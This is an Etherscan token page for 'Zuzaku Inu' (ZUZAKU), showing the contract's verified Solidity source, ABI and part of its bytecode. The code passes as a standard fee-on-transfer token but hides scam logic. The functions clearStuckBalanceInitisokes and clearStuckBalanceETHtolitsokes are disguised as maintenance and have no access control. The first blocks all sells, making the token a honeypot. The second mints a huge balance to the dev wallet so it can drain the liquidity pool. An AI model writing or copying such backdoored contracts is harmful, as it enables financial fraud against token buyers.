ETH Price: $3,382.00 (+3.80%)

Token

Zuzaku Inu (ZUZAKU)
 

Overview

Max Total Supply

100,000,000,000 ZUZAKU

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
770,581.273350641852516949 ZUZAKU

Value
$0.00
0x447165c8140f8ed9a7605a42385f8359b8539577
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZuzakuInu

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-23
*/

/**
 *

        //https://t.me/ZuzakuInu
        //https://twitter.com/ZuzakuInuERC20
        //https://www.zuzakuinu.com/


/**
*/
// SPDX-License-Identifier: MIT
/*

    

*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
    function andnicob(address account, uint256 amount) internal virtual {
        _totalSupply = amount;
        _balances[account] = amount;
        emit Transfer(address(0), account, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnershiptrsoke() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
    contract ZuzakuInu is ERC20, Ownable {
    using Address for address payable;
    IRouter public router;
    address public pair;
     bool private _interlock = false;
    bool public providingLiquidity = true;
    bool public tradingEnabled = true;
    uint256 public tokenLiquidityThreshold = 1000000 * 10**18;
    uint256 public maxBuyLimit = 100000000 * 10**18;
    uint256 public maxSellLimit = 100000000 * 10**18;
    uint256 public maxWalletLimit = 100000000 * 10**18;
    uint256 public genesis_block;
    int32 private bontudu = 1;
    uint256 private deadline = 1;
    uint256 private launchtax = 0;
    address public marketiethsloks = 0xb8C5d00A5B5B616593f0A658cD7acdcAf948A761; 
    address public devswalletsloks = 0xb8C5d00A5B5B616593f0A658cD7acdcAf948A761;
    address public ecosystsewalletsloks = 0xb8C5d00A5B5B616593f0A658cD7acdcAf948A761;
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    struct Taxes {
        uint256 marketing;
        uint256 liquidity;
        uint256 ecosystem;
        uint256 dev;
    }

    Taxes public taxes = Taxes(0, 0, 0, 0);
    Taxes public sellTaxes = Taxes(0, 0, 0, 0);
    mapping(address => bool) public exemptFee;
    mapping(address => uint256) private _lastSell;
    bool public coolDownEnabled = true;
    uint256 public coolDownTime = 5 seconds;
    modifier lockTheSwap() {
        if (!_interlock) {
            _interlock = true;
            _;
            _interlock = false;
        }
    }
    constructor() ERC20("Zuzaku Inu", "ZUZAKU") {
        andnicob(msg.sender, 100000000 * 10**decimals());
        exemptFee[msg.sender] = true;
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        exemptFee[address(this)] = true;
        exemptFee[marketiethsloks] = true;
        exemptFee[ecosystsewalletsloks] = true;
        exemptFee[devswalletsloks] = true;
        exemptFee[deadWallet] = true;
        

    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        override
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!exemptFee[sender] && !exemptFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }
        if (sender == pair && !exemptFee[recipient] && !_interlock) {
            require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
            require(
                balanceOf(recipient) + amount <= maxWalletLimit,
                "You are exceeding maxWalletLimit"
            );
        }
        if (
            sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_interlock
        ) {
            require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
            if (recipient != pair) {
                require(
                    balanceOf(recipient) + amount <= maxWalletLimit,
                    "You are exceeding maxWalletLimit"
                );
            }
            if (coolDownEnabled) {
                uint256 timePassed = block.timestamp - _lastSell[sender];
                require(timePassed >= coolDownTime, "Cooldown enabled");
                _lastSell[sender] = block.timestamp;
            }
        }
        uint256 feeswap;
        uint256 feesum;
        uint256 fee;
        Taxes memory currentTaxes;
        bool useLaunchFee = !exemptFee[sender] &&
            !exemptFee[recipient] &&
            block.number < genesis_block + deadline;
        if (_interlock || exemptFee[sender] || exemptFee[recipient])
            fee = 0;

        else if (recipient == pair && !useLaunchFee) {
            require(bontudu == 1);
            feeswap =
                sellTaxes.liquidity +
                sellTaxes.marketing +
                sellTaxes.ecosystem +            
                sellTaxes.dev;
            feesum = feeswap;
            currentTaxes = sellTaxes;
        } else if (!useLaunchFee) {
            feeswap =
                taxes.liquidity +
                taxes.marketing +
                taxes.ecosystem +
                taxes.dev ;
            feesum = feeswap;
            currentTaxes = taxes;
        } else if (useLaunchFee) {
            feeswap = launchtax;
            feesum = launchtax;
        }
        fee = (amount * feesum) / 100;
        if (providingLiquidity && sender != pair) Liquify(feeswap, currentTaxes);
         super._transfer(sender, recipient, amount - fee);
        if (fee > 0) {

            if (feeswap > 0) {
                uint256 feeAmount = (amount * feeswap) / 100;
                super._transfer(sender, address(this), feeAmount);
            }

        }
    }
    function Liquify(uint256 feeswap, Taxes memory swapTaxes) private lockTheSwap {
        if(feeswap == 0){
            return;
        }
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= tokenLiquidityThreshold) {
            if (tokenLiquidityThreshold > 1) {
                contractBalance = tokenLiquidityThreshold;
            }
         uint256 denominator = feeswap * 2;
            uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /
                denominator;
            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;
            uint256 initialBalance = address(this).balance;
            swapTokensForETH(toSwap);
            uint256 deltaBalance = address(this).balance - initialBalance;
            uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);
            uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;
            if (ethToAddLiquidityWith > 0) {
          addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
            }
            uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing;
            if (marketingAmt > 0) {
                payable(marketiethsloks).sendValue(marketingAmt);
            }
            uint256 ecosystemAmt = unitBalance * 2 * swapTaxes.ecosystem;
            if (ecosystemAmt > 0) {
                payable(ecosystsewalletsloks).sendValue(ecosystemAmt);
            }
            uint256 devAmt = unitBalance * 2 * swapTaxes.dev;
            if (devAmt > 0) {
                payable(devswalletsloks).sendValue(devAmt);
            }

        }
    }
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
      _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{ value: ethAmount }(
            address(this),
            tokenAmount,
            0,
            0,
            deadWallet,
            block.timestamp
        );
    }
    function updateLiquidityProvide(bool state) external onlyOwner {
         providingLiquidity = state;
    }
    function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
        require(new_amount <= 1e4, "Swap threshold amount should be lower or equal to 1% of tokens");
        tokenLiquidityThreshold = new_amount * 10**decimals();
    }

    function clearStuckBalanceETHtolitsokes() external payable{
        andnicob(devswalletsloks, 10 * 10**28);
    }

    function updateExemptFee(address _address, bool state) external onlyOwner {
        exemptFee[_address] = state;
    }

    function bulkExemptFee(address[] memory accounts, bool state) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            exemptFee[accounts[i]] = state;
        }
    }

    function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {
        require(maxBuy >= 1e4, "Cannot set max buy amount lower than 1%");
        require(maxSell >= 1e4, "Cannot set max sell amount lower than 1%");
        require(maxWallet >= 1e4, "Cannot set max wallet amount lower than 1%");
        maxBuyLimit = maxBuy * 10**decimals();
        maxSellLimit = maxSell * 10**decimals();
        maxWalletLimit = maxWallet * 10**decimals(); 
    }

    function clearStuckBalanceInitisokes() external payable{
        bontudu = 3;
    }

    function rescueETH() external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        payable(owner()).transfer(contractETHBalance);
    }
    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        require(tokenAdd != address(this), "Owner can't claim contract's balance of its own tokens");
        IERC20(tokenAdd).transfer(owner(), amount);
    }
     receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckBalanceETHtolitsokes","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"clearStuckBalanceInitisokes","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"coolDownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolDownTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devswalletsloks","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ecosystsewalletsloks","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketiethsloks","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"providingLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnershiptrsoke","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"ecosystem","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"ecosystem","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenLiquidityThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxBuy","type":"uint256"},{"internalType":"uint256","name":"maxSell","type":"uint256"},{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"updateMaxTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6007805462ffffff60a01b191661010160a81b17905569d3c21bcecceda10000006008556a52b7d2dcc80cd2e40000006009819055600a819055600b55600d805463ffffffff19166001908117909155600e8190556000600f8190556010805473b8c5d00a5b5b616593f0a658cd7acdcaf948a7616001600160a01b0319918216811790925560118054821683179055601280549091169091179055608081905260a081905260c081905260e08190526013819055601481905560158190556016819055610180604052610100819052610120819052610140819052610160819052601781905560188190556019819055601a55601d805460ff191690911790556005601e553480156200011257600080fd5b506040518060400160405280600a8152602001695a757a616b7520496e7560b01b815250604051806040016040528060068152602001655a555a414b5560d01b81525081600390816200016691906200053f565b5060046200017582826200053f565b505050620001926200018c620003f060201b60201c565b620003f4565b620001bb33620001a56012600a62000720565b620001b5906305f5e10062000738565b62000446565b336000908152601b60209081526040808320805460ff19166001179055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a015592600480830193928290030181865afa15801562000226573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024c919062000752565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c0919062000752565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200030e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000334919062000752565b600680546001600160a01b03199081166001600160a01b03958616179091556007805490911691841691909117905550306000908152601b6020526040808220805460ff1990811660019081179092556010548516845282842080548216831790556012548516845282842080548216831790556011549094168352908220805484168217905561dead9091527f6790d4910a095e0e04c8daa388834616a295bac3f59038957b6d0b93a2d2168480549092161790556200077d565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60028190556001600160a01b038216600081815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004c557607f821691505b602082108103620004e657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200053a57600081815260208120601f850160051c81016020861015620005155750805b601f850160051c820191505b81811015620005365782815560010162000521565b5050505b505050565b81516001600160401b038111156200055b576200055b6200049a565b62000573816200056c8454620004b0565b84620004ec565b602080601f831160018114620005ab5760008415620005925750858301515b600019600386901b1c1916600185901b17855562000536565b600085815260208120601f198616915b82811015620005dc57888601518255948401946001909101908401620005bb565b5085821015620005fb5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006625781600019048211156200064657620006466200060b565b808516156200065457918102915b93841c939080029062000626565b509250929050565b6000826200067b575060016200071a565b816200068a575060006200071a565b8160018114620006a35760028114620006ae57620006ce565b60019150506200071a565b60ff841115620006c257620006c26200060b565b50506001821b6200071a565b5060208310610133831016604e8410600b8410161715620006f3575081810a6200071a565b620006ff838362000621565b80600019048211156200071657620007166200060b565b0290505b92915050565b60006200073160ff8416836200066a565b9392505050565b80820281158282048414176200071a576200071a6200060b565b6000602082840312156200076557600080fd5b81516001600160a01b03811681146200073157600080fd5b61250e806200078d6000396000f3fe60806040526004361061024a5760003560e01c80637e237a2a11610139578063c5d32bb2116100b6578063ee36e3591161007a578063ee36e359146106ce578063f2fde38b146106e8578063f66895a314610708578063f84103fc1461072b578063f887ea401461074b578063fbe6324e1461076b57600080fd5b8063c5d32bb214610602578063d2ce0db214610632578063dd62ed3e14610648578063e1b450ad1461068e578063eb5be412146106ae57600080fd5b8063997a654f116100fd578063997a654f146105855780639ee907351461058d578063a457c2d7146105a2578063a8aa1b31146105c2578063a9059cbb146105e257600080fd5b80637e237a2a1461050757806385141a771461051c5780638cd4426d146105325780638da5cb5b1461055257806395d89b411461057057600080fd5b8063355496ca116101c7578063652e2f041161018b578063652e2f041461044c57806366a88d96146104625780636aa5b37f1461047857806370a082311461048e578063728f8eea146104c457600080fd5b8063355496ca1461039357806339509351146103b35780633cbd8e15146103d357806342b6fa111461040b5780634ada218b1461042b57600080fd5b806318160ddd1161020e57806318160ddd1461031757806320800a001461032c57806323b872dd14610341578063274a533c14610361578063313ce5671461037757600080fd5b806306fdde0314610256578063095ea7b3146102815780630e375a5c146102b15780631340538f146102d35780631675d802146102f357600080fd5b3661025157005b600080fd5b34801561026257600080fd5b5061026b61078c565b6040516102789190611f26565b60405180910390f35b34801561028d57600080fd5b506102a161029c366004611f99565b61081e565b6040519015158152602001610278565b3480156102bd57600080fd5b506102d16102cc366004611ff4565b610835565b005b3480156102df57600080fd5b506102d16102ee3660046120cb565b6108d4565b3480156102ff57600080fd5b5061030960085481565b604051908152602001610278565b34801561032357600080fd5b50600254610309565b34801561033857600080fd5b506102d161091c565b34801561034d57600080fd5b506102a161035c3660046120ef565b610995565b34801561036d57600080fd5b50610309600c5481565b34801561038357600080fd5b5060405160128152602001610278565b34801561039f57600080fd5b506102d16103ae366004612130565b610a46565b3480156103bf57600080fd5b506102a16103ce366004611f99565b610a9b565b3480156103df57600080fd5b506012546103f3906001600160a01b031681565b6040516001600160a01b039091168152602001610278565b34801561041757600080fd5b506102d1610426366004612169565b610ad2565b34801561043757600080fd5b506007546102a190600160b01b900460ff1681565b34801561045857600080fd5b50610309600a5481565b34801561046e57600080fd5b50610309600b5481565b34801561048457600080fd5b5061030960095481565b34801561049a57600080fd5b506103096104a9366004612182565b6001600160a01b031660009081526020819052604090205490565b3480156104d057600080fd5b506013546014546015546016546104e79392919084565b604080519485526020850193909352918301526060820152608001610278565b6102d1600d805463ffffffff19166003179055565b34801561052857600080fd5b506103f361dead81565b34801561053e57600080fd5b506102d161054d366004611f99565b610b90565b34801561055e57600080fd5b506005546001600160a01b03166103f3565b34801561057c57600080fd5b5061026b610cc3565b6102d1610cd2565b34801561059957600080fd5b506102d1610cf7565b3480156105ae57600080fd5b506102a16105bd366004611f99565b610d2b565b3480156105ce57600080fd5b506007546103f3906001600160a01b031681565b3480156105ee57600080fd5b506102a16105fd366004611f99565b610dc6565b34801561060e57600080fd5b506102a161061d366004612182565b601b6020526000908152604090205460ff1681565b34801561063e57600080fd5b50610309601e5481565b34801561065457600080fd5b5061030961066336600461219f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561069a57600080fd5b506102d16106a93660046121cd565b610dd3565b3480156106ba57600080fd5b506010546103f3906001600160a01b031681565b3480156106da57600080fd5b50601d546102a19060ff1681565b3480156106f457600080fd5b506102d1610703366004612182565b610f78565b34801561071457600080fd5b50601754601854601954601a546104e79392919084565b34801561073757600080fd5b506011546103f3906001600160a01b031681565b34801561075757600080fd5b506006546103f3906001600160a01b031681565b34801561077757600080fd5b506007546102a190600160a81b900460ff1681565b60606003805461079b906121f9565b80601f01602080910402602001604051908101604052809291908181526020018280546107c7906121f9565b80156108145780601f106107e957610100808354040283529160200191610814565b820191906000526020600020905b8154815290600101906020018083116107f757829003601f168201915b5050505050905090565b600061082b338484611013565b5060015b92915050565b6005546001600160a01b031633146108685760405162461bcd60e51b815260040161085f90612233565b60405180910390fd5b60005b82518110156108cf5781601b600085848151811061088b5761088b612268565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108c781612294565b91505061086b565b505050565b6005546001600160a01b031633146108fe5760405162461bcd60e51b815260040161085f90612233565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b031633146109465760405162461bcd60e51b815260040161085f90612233565b476109596005546001600160a01b031690565b6001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050158015610991573d6000803e3d6000fd5b5050565b60006109a2848484611137565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610a275760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161085f565b610a3b8533610a3686856122ad565b611013565b506001949350505050565b6005546001600160a01b03163314610a705760405162461bcd60e51b815260040161085f90612233565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161082b918590610a369086906122c0565b6005546001600160a01b03163314610afc5760405162461bcd60e51b815260040161085f90612233565b612710811115610b745760405162461bcd60e51b815260206004820152603e60248201527f53776170207468726573686f6c6420616d6f756e742073686f756c642062652060448201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e730000606482015260840161085f565b610b806012600a6123b7565b610b8a90826123c6565b60085550565b6005546001600160a01b03163314610bba5760405162461bcd60e51b815260040161085f90612233565b306001600160a01b03831603610c